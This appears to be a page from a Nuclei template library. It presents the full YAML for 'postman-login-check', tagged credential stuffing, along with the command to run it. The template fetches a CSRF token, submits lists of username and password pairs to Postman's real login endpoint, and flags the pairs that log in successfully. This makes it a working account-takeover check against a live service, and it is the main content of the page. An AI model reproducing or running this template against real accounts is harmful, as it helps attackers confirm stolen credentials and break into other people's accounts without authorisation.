Postman Login Check

ID: postman-login-check

Severity: critical

Author: parthmalhotra,pdresearch

Tags: cloud,creds-stuffing,login-check,postman

Description

Checks for a valid postman account.

YAML Source

id: postman-login-check

info:
  name: Postman Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid postman account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
  tags: cloud,creds-stuffing,login-check,postman

self-contained: true

http:
  - raw:
      - |
        GET https://identity.getpostman.com/login HTTP/1.1
        Host: identity.getpostman.com
        Referer: https://identity.getpostman.com/accounts
      - |
        POST https://identity.getpostman.com/login HTTP/1.1
        Host: identity.getpostman.com
        Content-Type: application/json;charset=UTF-8
        X-Csrf-Token: {{csrfToken}}
        Origin: https://identity.getpostman.com
        Referer: https://identity.getpostman.com/login

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork

    extractors:
      - type: xpath
        name: csrfToken
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div/div/div[1]/form/input

      - type: dsl
        dsl:
          - username
          - password
    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'set-cookie: getpostmanlogin=yes')"
          - "contains(to_lower(body), 'identity.postman.co/continue')"
          - "status_code==200"
        condition: and
# digest: 4a0a0047304502206d5e9f6ab860a2ce8d3621f2fd7d7d073dac3bed0631bd1be241ef051db2e221022100a09328ba04cc2e1463b0acfc7411d15cb523a2f4737bcab8498b5e11ce043e1d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/credential-stuffing/cloud/postman-login-check.yaml"

View on Github